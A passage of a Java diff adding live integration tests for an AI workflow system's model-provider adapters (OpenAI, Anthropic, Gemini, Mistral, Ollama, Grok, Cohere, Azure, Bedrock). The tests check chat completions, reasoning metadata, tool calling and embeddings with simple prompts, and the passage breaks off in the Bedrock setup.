execution, returns text") + void testCodeInterpreter() { + ChatModel chatModel = openAI.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o-mini"); + input.setMaxTokens(500); + input.setTemperature(0.0); + input.setCodeInterpreter(true); + + var chatOptions = openAI.getChatOptions(input); + Prompt prompt = + new Prompt( + "Calculate the first 10 prime numbers using code. Return ONLY the list.", + chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertFalse(text.isEmpty(), "Expected text result from code_interpreter"); + System.out.println(text); + // Server-side tool: should return computed text, NOT a tool_call + assertTrue( + text.contains("2") && text.contains("29"), + "Expected prime numbers including 2 and 29, got: " + text); + } + + @Test + @DisplayName("Multi-turn conversation with previousResponseId") + void testPreviousResponseId() { + ChatModel chatModel = openAI.getChatModel(); + + // Turn 1: establish context + ChatCompletion turn1Input = new ChatCompletion(); + turn1Input.setModel("gpt-4o-mini"); + turn1Input.setMaxTokens(200); + turn1Input.setTemperature(0.0); + + var turn1Options = openAI.getChatOptions(turn1Input); + Prompt turn1Prompt = new Prompt("My name is Conductor. Remember that.", turn1Options); + + ChatResponse turn1Response = chatModel.call(turn1Prompt); + assertNotNull(turn1Response); + assertNotNull(turn1Response.getResult()); + + // Extract response_id from metadata + String responseId = (String) turn1Response.getMetadata().get("response_id"); + assertNotNull(responseId, "Expected response_id in metadata for chaining"); + assertFalse(responseId.isBlank(), "response_id must not be blank"); + + // Turn 2: reference previous response — only send follow-up, no history + ChatCompletion turn2Input = new ChatCompletion(); + turn2Input.setModel("gpt-4o-mini"); + turn2Input.setMaxTokens(200); + turn2Input.setTemperature(0.0); + turn2Input.setPreviousResponseId(responseId); + + var turn2Options = openAI.getChatOptions(turn2Input); + Prompt turn2Prompt = new Prompt("What is my name?", turn2Options); + + ChatResponse turn2Response = chatModel.call(turn2Prompt); + assertNotNull(turn2Response); + assertNotNull(turn2Response.getResult()); + + String text = turn2Response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue( + text.toLowerCase().contains("conductor"), + "Expected model to recall 'Conductor' from previous turn, got: " + text); + + // Second response should also have its own response_id + String turn2ResponseId = (String) turn2Response.getMetadata().get("response_id"); + assertNotNull(turn2ResponseId, "Expected response_id in turn 2 metadata"); + } + + @Test + @DisplayName("Reasoning round-trip against gpt-5.3-codex (live)") + void testReasoningSummary_codex() { + // gpt-5.3-codex is the Codex-tuned variant of gpt-5.3 reasoning models. + // Verifies the nested-reasoning request shape that works for gpt-5-mini + // also reaches the Codex endpoint without 400s, and that the response + // carries the reasoning_tokens metadata key. Empirically Codex sometimes + // returns reasoning_tokens=0 for short coding prompts even with effort + // requested — accepted as the model's prerogative — so the hard invariant + // is just that the field surfaces (i.e. the metadata plumbing works). + ChatModel chatModel = openAI.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-5.3-codex"); + input.setMaxTokens(4000); + input.setReasoningEffort("high"); + input.setReasoningSummary("auto"); + + var chatOptions = openAI.getChatOptions(input); + Prompt prompt = + new Prompt( + "Implement a Python function that returns all permutations of a list" + + " using only recursion and tuple swaps — no Python stdlib helpers." + + " Walk through your algorithm choice before writing the code.", + chatOptions); + + ChatResponse response = chatModel.call(prompt); + assertNotNull(response); + assertNotNull(response.getResult()); + + // The metadata key must be present — that's the part our adapter is + // responsible for. The value itself is whatever the model decided. + Object reasoningTokens = response.getMetadata().get("reasoning_tokens"); + assertNotNull( + reasoningTokens, + "Expected reasoning_tokens metadata key on a gpt-5.3-codex response"); + + Object reasoning = response.getMetadata().get("reasoning"); + // Best-effort visibility for the live behavior — we don't fail if the + // model returns no summary, but log enough to diagnose if the round + // trip breaks in the future. + System.out.println( + "gpt-5.3-codex reasoning_tokens=" + + reasoningTokens + + ", summary_present=" + + (reasoning != null) + + (reasoning != null ? "\n--\n" + reasoning + "\n--" : "")); + + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertFalse(text.isEmpty(), "Expected code output from Codex reasoning model"); + } + + @Test + @DisplayName( + "Reasoning request shape is plumbed correctly against live OpenAI (smoke check)") + void testReasoningSummary() { + // Smoke check that the request reaches OpenAI with the nested + // reasoning block intact and that the reasoning pathway engages. + // Deterministic coverage of the response-side parsing + // (reasoning summary → metadata["reasoning"], reasoning_tokens → + // metadata["reasoning_tokens"]) + // lives in OpenAIResponsesChatModelTest, which stubs the HTTP layer + // and pins the contract without depending on what OpenAI happens + // to emit on any given call. This test only asserts the hard + // request-side invariant: a reasoning model should bill some + // reasoning tokens — anything less means we silently lost the + // ``reasoning`` block on the wire. + ChatModel chatModel = openAI.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-5-mini"); + input.setMaxTokens(2000); + input.setReasoningEffort("medium"); + input.setReasoningSummary("auto"); + + var chatOptions = openAI.getChatOptions(input); + Prompt prompt = + new Prompt( + "If a train leaves at 3pm and travels 60mph for 2.5 hours, what time" + + " does it arrive and how far has it gone? Explain.", + chatOptions); + + ChatResponse response = chatModel.call(prompt); + assertNotNull(response); + assertNotNull(response.getResult()); + + Object reasoningTokens = response.getMetadata().get("reasoning_tokens"); + assertNotNull( + reasoningTokens, + "Expected reasoning_tokens metadata on a reasoning model response"); + assertTrue( + ((Number) reasoningTokens).intValue() > 0, + "Expected reasoning_tokens > 0 on a reasoning model, got: " + reasoningTokens); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("openai", openAI.getModelProvider()); + } + } + + // ======================================================================== + // Anthropic Tests + // ======================================================================== + + @Nested + @DisplayName("Anthropic (Claude) Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isAnthropicConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class AnthropicTests { + + private Anthropic anthropic; + + @BeforeAll + void setup() { + AnthropicConfiguration config = new AnthropicConfiguration(); + config.setApiKey(System.getenv("ANTHROPIC_API_KEY")); + config.setBaseURL(System.getenv("ANTHROPIC_BASE_URL")); + anthropic = new Anthropic(config, testHttpClient()); + } + + @Test + @DisplayName("Chat completion with Claude Haiku (fast model)") + void testChatCompletionHaiku() { + ChatModel chatModel = anthropic.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-haiku-4-5"); + input.setMaxTokens(50); + input.setTemperature(0.0); + + var chatOptions = anthropic.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("Chat with temperature=0 (deterministic)") + void testDeterministicTemperature() { + ChatModel chatModel = anthropic.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-haiku-4-5"); + input.setMaxTokens(20); + input.setTemperature(0.0); // Deterministic + + var chatOptions = anthropic.getChatOptions(input); + Prompt prompt = new Prompt("Say 'hello world' exactly", chatOptions); + + ChatResponse response = chatModel.call(prompt); + String text1 = response.getResult().getOutput().getText().toLowerCase(); + + // Make same call again - should be deterministic + response = chatModel.call(prompt); + String text2 = response.getResult().getOutput().getText().toLowerCase(); + + assertTrue(text1.contains("hello") && text1.contains("world")); + assertTrue(text2.contains("hello") && text2.contains("world")); + } + + @Test + @DisplayName("Thinking mode - Claude extended thinking") + void testThinkingMode() { + ChatModel chatModel = anthropic.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-6"); // Sonnet 4.6 supports legacy thinking + input.setMaxTokens(16000); // Thinking requires larger token limit + input.setThinkingTokenLimit(8000); // Enable thinking mode + // Note: Temperature is forced to 1.0 when thinking is enabled + + var chatOptions = anthropic.getChatOptions(input); + Prompt prompt = + new Prompt("What is 15 * 23? Think through this step by step.", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("345"), "Expected 345 in response, got: " + text); + } + + @Test + @DisplayName( + "Opus 4.7 + thinkingTokenLimit must be rewritten to adaptive thinking (regression)") + void testOpus47ThinkingBudget_routesThroughAdaptive() { + // Regression for the production HTTP 400: + // "thinking.type.enabled" is not supported for this model. + // Use "thinking.type.adaptive" and "output_config.effort" ... + // + // The adapter must translate ``thinkingTokenLimit`` into + // ``thinking.type=adaptive`` + ``output_config.effort`` whenever the + // model id targets Opus 4.7 (Opus 4.6 / Sonnet 4.6 still accept the + // legacy ``enabled`` + ``budget_tokens`` shape and are exercised by + // ``testThinkingMode`` above). If that translation regresses, this + // call returns HTTP 400 with the exact message quoted above. + ChatModel chatModel = anthropic.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-opus-4-7"); + input.setMaxTokens(16000); + input.setThinkingTokenLimit(10000); + + var chatOptions = anthropic.getChatOptions(input); + Prompt prompt = new Prompt("What is 2 + 2? Think step by step.", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertFalse(text.isEmpty()); + assertTrue( + text.contains("4"), "Expected the model to reach the answer '4'; got: " + text); + } + + @Test + @DisplayName("Opus 4.7 + reasoningEffort only (no thinkingTokenLimit) is accepted") + void testOpus47ReasoningEffortOnly() { + // Opus 4.7 also accepts ``output_config.effort`` without an + // accompanying ``thinking`` block. The adapter must forward + // ``reasoningEffort`` straight through without attaching any + // thinking configuration. + ChatModel chatModel = anthropic.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-opus-4-7"); + input.setMaxTokens(1024); + input.setReasoningEffort("low"); + + var chatOptions = anthropic.getChatOptions(input); + Prompt prompt = new Prompt("Say hi.", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertFalse(text.isEmpty()); + } + + @Test + @DisplayName("Function tool calling - model returns tool_use, not result") + void testFunctionToolCalling() { + ChatModel chatModel = anthropic.getChatModel(); + + ToolSpec weatherTool = new ToolSpec(); + weatherTool.setName("get_weather"); + weatherTool.setDescription("Get the current weather for a location"); + weatherTool.setInputSchema( + Map.of( + "type", "object", + "properties", + Map.of( + "location", + Map.of("type", "string", "description", "City name")), + "required", List.of("location"))); + + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-haiku-4-5"); + input.setMaxTokens(200); + input.setTemperature(0.0); + input.setTools(List.of(weatherTool)); + + var chatOptions = anthropic.getChatOptions(input); + Prompt prompt = new Prompt("What is the weather in Tokyo?", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + + var output = response.getResult().getOutput(); + assertNotNull(output.getToolCalls(), "Expected tool calls in response"); + assertFalse(output.getToolCalls().isEmpty(), "Expected at least one tool call"); + + var toolCall = output.getToolCalls().getFirst(); + assertEquals("get_weather", toolCall.name(), "Expected get_weather tool call"); + assertNotNull(toolCall.arguments(), "Expected arguments in tool call"); + assertTrue( + toolCall.arguments().toLowerCase().contains("tokyo"), + "Expected 'tokyo' in arguments: " + toolCall.arguments()); + + // Finish reason should indicate tool calls + String finishReason = response.getResult().getMetadata().getFinishReason(); + assertEquals( + "TOOL_CALLS", + finishReason, + "Expected TOOL_CALLS finish reason, got: " + finishReason); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("anthropic", anthropic.getModelProvider()); + } + } + + // ======================================================================== + // Gemini / Vertex AI Tests + // ======================================================================== + + @Nested + @DisplayName("Gemini (Vertex AI) Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isGeminiConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class GeminiTests { + + private GeminiVertex gemini; + + @BeforeAll + void setup() throws Exception { + GeminiVertexConfiguration config = new GeminiVertexConfiguration(); + + // Prefer API key path (Google AI Studio) if available + String apiKey = System.getenv("GEMINI_API_KEY"); + if (StringUtils.isNotBlank(apiKey)) { + config.setApiKey(apiKey); + } else { + // Vertex AI path (GCP project + credentials) + config.setProjectId(System.getenv("GOOGLE_PROJECT_ID")); + config.setLocation(System.getenv("GOOGLE_CLOUD_LOCATION")); + + // Try to load credentials from VERTEX_AI_CREDENTIALS env var (JSON string) + String vertexCreds = System.getenv("VERTEX_AI_CREDENTIALS"); + if (StringUtils.isNotBlank(vertexCreds)) { + var credentials = + com.google.auth.oauth2.GoogleCredentials.fromStream( + new java.io.ByteArrayInputStream( + vertexCreds.getBytes( + java.nio.charset.StandardCharsets.UTF_8))); + config.setGoogleCredentials(credentials); + } + } + + gemini = new GeminiVertex(config, new okhttp3.OkHttpClient()); + } + + @Test + @DisplayName("Chat completion with Gemini Flash") + void testChatCompletionFlash() { + ChatModel chatModel = gemini.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-2.5-flash"); + input.setMaxTokens(500); + input.setTemperature(0.0); + + var chatOptions = gemini.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("Embeddings generation") + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setText(EMBEDDING_TEXT); + request.setModel("gemini-embedding-001"); + + List embeddings = gemini.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + assertEquals(3072, embeddings.size(), "Expected 3072 dimensions"); + } + + @Test + @DisplayName("Function tool calling - model returns tool_use, not result") + void testFunctionToolCalling() { + ChatModel chatModel = gemini.getChatModel(); + + ToolSpec weatherTool = new ToolSpec(); + weatherTool.setName("get_weather"); + weatherTool.setDescription("Get the current weather for a location"); + weatherTool.setInputSchema( + Map.of( + "type", + "object", + "properties", + Map.of( + "location", + Map.of("type", "string", "description", "City name")), + "required", + List.of("location"))); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-2.5-flash"); + input.setMaxTokens(200); + input.setTemperature(0.0); + input.setTools(List.of(weatherTool)); + + var chatOptions = gemini.getChatOptions(input); + Prompt prompt = new Prompt("What is the weather in Tokyo?", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + + var output = response.getResult().getOutput(); + assertNotNull(output.getToolCalls(), "Expected tool calls in response"); + assertFalse(output.getToolCalls().isEmpty(), "Expected at least one tool call"); + + var toolCall = output.getToolCalls().getFirst(); + assertEquals("get_weather", toolCall.name(), "Expected get_weather tool call"); + assertNotNull(toolCall.arguments(), "Expected arguments in tool call"); + assertTrue( + toolCall.arguments().toLowerCase().contains("tokyo"), + "Expected 'tokyo' in arguments: " + toolCall.arguments()); + } + + @Test + @DisplayName("Web search via Google Search Retrieval") + void testWebSearch() { + ChatModel chatModel = gemini.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-2.5-flash"); + input.setMaxTokens(200); + input.setTemperature(0.0); + input.setWebSearch(true); + + var chatOptions = gemini.getChatOptions(input); + Prompt prompt = + new Prompt("What is the current weather in San Francisco?", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertFalse(text.isEmpty(), "Expected a response with web search results"); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("vertex_ai", gemini.getModelProvider()); + } + } + + // ======================================================================== + // Mistral AI Tests + // ======================================================================== + + @Nested + @DisplayName("Mistral AI Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isMistralConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class MistralTests { + + private MistralAI mistral; + + @BeforeAll + void setup() { + MistralAIConfiguration config = new MistralAIConfiguration(); + config.setApiKey(System.getenv("MISTRAL_API_KEY")); + config.setBaseURL(System.getenv("MISTRAL_BASE_URL")); + mistral = new MistralAI(config); + } + + @Test + @DisplayName("Chat completion with Mistral") + void testChatCompletion() { + ChatModel chatModel = mistral.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("mistral-small-latest"); + input.setMaxTokens(100); + input.setTemperature(0.0); + + var chatOptions = mistral.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("JSON output format") + void testJsonOutputFormat() { + ChatModel chatModel = mistral.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("mistral-small-latest"); + input.setMaxTokens(100); + input.setTemperature(0.0); + input.setJsonOutput(true); // Request JSON output + + var chatOptions = mistral.getChatOptions(input); + Prompt prompt = + new Prompt( + "Return a JSON object with 'name': 'test' and 'value': 42. Only return JSON, no explanation.", + chatOptions); + + ChatResponse response = chatModel.call(prompt); + + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + // Should be valid JSON-like structure + assertTrue( + text.contains("\"name\"") || text.contains("name"), + "Expected JSON with 'name' field, got: " + text); + assertTrue( + text.contains("42") || text.contains("\"42\""), + "Expected JSON with value 42, got: " + text); + } + + @Test + @DisplayName("Chat with topP parameter") + void testTopPParameter() { + ChatModel chatModel = mistral.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("mistral-small-latest"); + input.setMaxTokens(50); + input.setTemperature(0.5); + input.setTopP(0.9); // Nucleus sampling + + var chatOptions = mistral.getChatOptions(input); + Prompt prompt = + new Prompt("What is the capital of France? Reply in one word.", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + String text = response.getResult().getOutput().getText().toLowerCase(); + assertTrue(text.contains("paris"), "Expected Paris, got: " + text); + } + + @Test + @DisplayName("Embeddings generation") + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setText(EMBEDDING_TEXT); + request.setModel("mistral-embed"); + + List embeddings = mistral.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + assertEquals(1024, embeddings.size(), "Expected 1024 dimensions"); + } + + @Test + @DisplayName("Function tool calling - model returns tool_use, not result") + void testFunctionToolCalling() { + ChatModel chatModel = mistral.getChatModel(); + + ToolSpec weatherTool = new ToolSpec(); + weatherTool.setName("get_weather"); + weatherTool.setDescription("Get the current weather for a location"); + weatherTool.setInputSchema( + Map.of( + "type", + "object", + "properties", + Map.of( + "location", + Map.of("type", "string", "description", "City name")), + "required", + List.of("location"))); + + ChatCompletion input = new ChatCompletion(); + input.setModel("mistral-small-latest"); + input.setMaxTokens(200); + input.setTemperature(0.0); + input.setTools(List.of(weatherTool)); + + var chatOptions = mistral.getChatOptions(input); + Prompt prompt = new Prompt("What is the weather in Tokyo?", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + + var output = response.getResult().getOutput(); + assertNotNull(output.getToolCalls(), "Expected tool calls in response"); + assertFalse(output.getToolCalls().isEmpty(), "Expected at least one tool call"); + + var toolCall = output.getToolCalls().getFirst(); + assertEquals("get_weather", toolCall.name(), "Expected get_weather tool call"); + assertNotNull(toolCall.arguments(), "Expected arguments in tool call"); + assertTrue( + toolCall.arguments().toLowerCase().contains("tokyo"), + "Expected 'tokyo' in arguments: " + toolCall.arguments()); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("mistral", mistral.getModelProvider()); + } + } + + // ======================================================================== + // Ollama Tests + // ======================================================================== + + @Nested + @DisplayName("Ollama Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isOllamaConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class OllamaTests { + + private Ollama ollama; + + @BeforeAll + void setup() { + OllamaConfiguration config = new OllamaConfiguration(); + config.setBaseURL(System.getenv("OLLAMA_BASE_URL")); + config.setAuthHeaderName(System.getenv("OLLAMA_AUTH_HEADER_NAME")); + config.setAuthHeader(System.getenv("OLLAMA_AUTH_HEADER")); + ollama = new Ollama(config); + } + + @Test + @DisplayName("Chat completion with Llama") + void testChatCompletion() { + ChatModel chatModel = ollama.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("llama3.2"); + input.setTemperature(0.0); + + var chatOptions = ollama.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("JSON output format") + void testJsonOutputFormat() { + ChatModel chatModel = ollama.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("llama3.2"); + input.setTemperature(0.0); + input.setJsonOutput(true); // Request JSON output + + var chatOptions = ollama.getChatOptions(input); + Prompt prompt = + new Prompt( + "Return a JSON object with 'answer': 42. Only return JSON, no explanation.", + chatOptions); + + ChatResponse response = chatModel.call(prompt); + + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("42"), "Expected JSON with 42, got: " + text); + } + + @Test + @DisplayName("Chat with numPredict (maxTokens) limit") + void testNumPredictLimit() { + ChatModel chatModel = ollama.getChatModel(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("llama3.2"); + input.setTemperature(0.0); + input.setMaxTokens(10); // Very short numPredict + + var chatOptions = ollama.getChatOptions(input); + Prompt prompt = new Prompt("Tell me a very long story about dragons.", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + // Response should be truncated due to low token limit + assertTrue( + text.split("\\s+").length <= 30, + "Expected short response due to numPredict limit, got: " + + text.length() + + " chars"); + } + + @Test + @DisplayName("Embeddings generation") + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setText(EMBEDDING_TEXT); + request.setModel("nomic-embed-text"); + + List embeddings = ollama.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("ollama", ollama.getModelProvider()); + } + } + + // ======================================================================== + // Grok (xAI) Tests + // ======================================================================== + + @Nested + @DisplayName("Grok (xAI) Integration Tests") + @EnabledIf("org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isGrokConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class GrokTests { + + private Grok grok; + + @BeforeAll + void setup() { + GrokAIConfiguration config = new GrokAIConfiguration(); + config.setApiKey(System.getenv("GROK_API_KEY")); + config.setBaseURL(System.getenv("GROK_BASE_URL")); + grok = new Grok(config, testHttpClient()); + } + + @Test + @DisplayName("Chat completion with Grok") + void testChatCompletion() { + ChatModel chatModel = grok.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("grok-3-mini"); + input.setMaxTokens(50); + input.setTemperature(0.0); + + var chatOptions = grok.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("Function tool calling - model returns tool_use, not result") + void testFunctionToolCalling() { + ChatModel chatModel = grok.getChatModel(); + + ToolSpec weatherTool = new ToolSpec(); + weatherTool.setName("get_weather"); + weatherTool.setDescription("Get the current weather for a location"); + weatherTool.setInputSchema( + Map.of( + "type", + "object", + "properties", + Map.of( + "location", + Map.of("type", "string", "description", "City name")), + "required", + List.of("location"))); + + ChatCompletion input = new ChatCompletion(); + input.setModel("grok-3-mini"); + input.setMaxTokens(200); + input.setTemperature(0.0); + input.setTools(List.of(weatherTool)); + + var chatOptions = grok.getChatOptions(input); + Prompt prompt = new Prompt("What is the weather in Tokyo?", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + + var output = response.getResult().getOutput(); + assertNotNull(output.getToolCalls(), "Expected tool calls in response"); + assertFalse(output.getToolCalls().isEmpty(), "Expected at least one tool call"); + + var toolCall = output.getToolCalls().getFirst(); + assertEquals("get_weather", toolCall.name(), "Expected get_weather tool call"); + assertNotNull(toolCall.arguments(), "Expected arguments in tool call"); + assertTrue( + toolCall.arguments().toLowerCase().contains("tokyo"), + "Expected 'tokyo' in arguments: " + toolCall.arguments()); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("Grok", grok.getModelProvider()); + } + } + + // ======================================================================== + // Cohere Tests + // ======================================================================== + + @Nested + @DisplayName("Cohere Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isCohereConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + // Cohere v2 API is not OpenAI-compatible - uses different param names (texts vs + // input, extra_body rejected) + // Requires native Cohere SDK integration + class CohereTests { + + private CohereAI cohere; + + @BeforeAll + void setup() { + CohereAIConfiguration config = new CohereAIConfiguration(); + config.setApiKey(System.getenv("COHERE_API_KEY")); + config.setBaseURL(System.getenv("COHERE_BASE_URL")); + cohere = new CohereAI(config); + } + + @Test + @DisplayName("Chat completion with Cohere") + void testChatCompletion() { + ChatModel chatModel = cohere.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("command-a-03-2025"); + input.setMaxTokens(50); + input.setTemperature(0.0); + + var chatOptions = cohere.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("Embeddings generation") + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setText(EMBEDDING_TEXT); + request.setModel("embed-english-v3.0"); + + List embeddings = cohere.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("cohere", cohere.getModelProvider()); + } + } + + // ======================================================================== + // Azure OpenAI Tests + // ======================================================================== + + @Nested + @DisplayName("Azure OpenAI Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isAzureOpenAIConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class AzureOpenAITests { + + private AzureOpenAI azureOpenAI; + + @BeforeAll + void setup() { + AzureOpenAIConfiguration config = new AzureOpenAIConfiguration(); + config.setApiKey(System.getenv("AZURE_OPENAI_API_KEY")); + config.setBaseURL(System.getenv("AZURE_OPENAI_ENDPOINT")); + azureOpenAI = new AzureOpenAI(config, testHttpClient()); + } + + @Test + @DisplayName("Chat completion with Azure OpenAI") + void testChatCompletion() { + ChatModel chatModel = azureOpenAI.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + // Use deployment name from env var, or fall back to "gpt-4o-mini" + String deploymentName = System.getenv("AZURE_OPENAI_DEPLOYMENT_NAME"); + input.setModel(deploymentName != null ? deploymentName : "gpt-4o-mini"); + input.setMaxTokens(50); + input.setTemperature(0.0); + + var chatOptions = azureOpenAI.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("Embeddings generation with Azure OpenAI") + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setText(EMBEDDING_TEXT); + // Use deployment name from env var, or fall back to "text-embedding-3-small" + String embeddingDeploymentName = + System.getenv("AZURE_OPENAI_EMBEDDING_DEPLOYMENT_NAME"); + request.setModel( + embeddingDeploymentName != null + ? embeddingDeploymentName + : "text-embedding-3-small"); + request.setDimensions(1536); + + List embeddings = azureOpenAI.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + assertEquals(1536, embeddings.size(), "Expected 1536 dimensions"); + } + + @Test + @DisplayName("Model provider name") + void testModelProviderName() { + assertEquals("azure_openai", azureOpenAI.getModelProvider()); + } + } + + // ======================================================================== + // AWS Bedrock Tests + // ======================================================================== + + @Nested + @DisplayName("AWS Bedrock Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isBedrockConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class BedrockTests { + + private Bedrock bedrock; + + @BeforeAll + void setup() { + BedrockConfiguration config = new BedrockConfiguration(); + + // Check for bearer token first (preferred for API key auth) + String bearerToken = System.getenv("AWS_BEARER_TOKEN_BEDROCK"); + if (StringUtils.isNotBlank(bearerToken)) { + config.setBearerToken(bearerToken); + } else { + // Fall back to access key/secret key + 